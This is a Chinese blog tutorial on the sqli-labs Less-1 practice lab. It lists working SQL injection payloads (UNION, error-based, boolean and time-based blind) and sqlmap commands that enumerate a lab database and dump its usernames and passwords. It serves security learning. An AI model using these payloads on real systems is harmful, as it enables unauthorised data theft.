freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

【sqli-lab教程】less-1
2022-05-31 01:26:02
所属地 北京

less-1

回显判断

两次页面不同,有回显

?id=1

image

?id=2

image

数据库报错判断

根据回显判断字符型还是数字型错误

?id=2'

image

字符型

查看布尔类型状态

判断是否可以进行布尔盲注

?id=2' and 1=1 --+   #页面正常

image

?id=2' and 1=2 --+   #页面不正常

image

延时判断

?id=2' and sleep(5) --+

image

判断列数

?id=2' order by 1 --+   #正常
?id=2' order by 2 --+   #正常
?id=2' order by 3 --+   #正常

image

?id=2' order by 4 --+  #不正常

image

一共3列

联合查询

?id=-2'  UNION SELECT 1,2,3 --+  #加-号是为了让前面语句为错误

image

?id=-2'  UNION SELECT 1,version(),database() --+

image

2和3的位置可以替换各种语句,如

?id=-2'  UNION SELECT 1,version(),(select table_name from information_schema.tables where table_schema='security' limit 0,1) --+

image

报错注入

group by注入

?id=1' union  select 1,count(*), concat((select database()),0x5e,floor(rand(0)*2)) x from information_schema.tables group by x --+ #直接套用公式,需要查询其他的只需要把database()替换掉就可以

image

extractvalue()

0x5e是^

?id=1' or  extractvalue(1,concat(0x5e,version())) --+   #查询数据库版本

image

?id=1' and  extractvalue(1,concat(0x5e,database(),0x5e)) --+    #查询数据库名

image

?id=1' and  extractvalue(1,concat(0x5e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x5e)) --+   #查询数据库里的表

image

?id=1' and  extractvalue(1,concat(0x5e,(select table_name from information_schema.tables where table_schema='security' limit 1,1),0x5e)) --+  #由于表名一次只能显示一行,所以更改limit进行查询

image

image

?id=1' and  extractvalue(1,concat(0x5e,(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),0x5e)) --+  #查询users表里的列名,同样以更改limit的方式对列名进行查询

image

?id=1' and  extractvalue(1,concat(0x5e,(select concat(username,0x3a,password) from users limit 0,1),0x5e)) --+    #查询用户名密码

image

updatexml()

此函数与extractvalue()函数的用法相同,不同的是updatexml()有三个参数,updatexml(1,(payload),1)只要讲payload替换成与extractvalue函数中相同的内容即可完成sql注入,具体操作方法不再重复,下面只进行一个演示

?id=1' and  updatexml(1,concat(0x5e,(select concat(username,0x3a,password) from users limit 1,1),0x5e),1) --+

image

布尔盲注

?id=1' and length(database())>8 --+   #判断数据库长度

image

?id=1' and length(database())=8 --+  #数据库名长度为8

image

?id=1' and ascii(substr(database(),1,1))<116 --+   #SUBSTR(str,pos,len)从pos开始的位置,截取len个字符,转换为ASCII码判断数据库名第一位是否小于116

image

?id=1' and ascii(substr(database(),1,1))=115 --+  #判断出数据库名第一位为115的ASCII是s

image

按位判断比较慢,有一种半自动bp抓包方法

image

image

得到数据库名security

?id=1' and length((select table_name from information_schema.tables where table_schema='security' limit 0,1))=6 --+   #得到第一个表的长度为6
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101 --+  #得到第一个表的第一位是101的ascii码位e

bp半自动测试

image

image

得到第一个表名为emails,掌握方法即可,半自动不再测试

全自动测试,使用sqlmap工具

sqlmap -u http://10.9.28.145/sqli/Less-1/?id=1  #查找是否存在注入漏洞

发现注入漏洞

image

sqlmap -u http://10.9.28.145/sqli/Less-1/?id=1 --dbs  #爆出数据库名

image

sqlmap -u http://10.9.28.145/sqli/Less-1/?id=1 -D security --tables #查找表名

image

sqlmap -u http://10.9.28.145/sqli/Less-1/?id=1 -D security -T users --columns --dump  #爆出表里数据

image

时间注入

?id=1' and if(length(database())>1,sleep(5),1) --+ #如果数据库名的长度大于1则延时注入,否则正常输出

建议使用顺序:联合查询>报错注入>布尔盲注>时间注入。

# web安全 # 网络安全技术
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录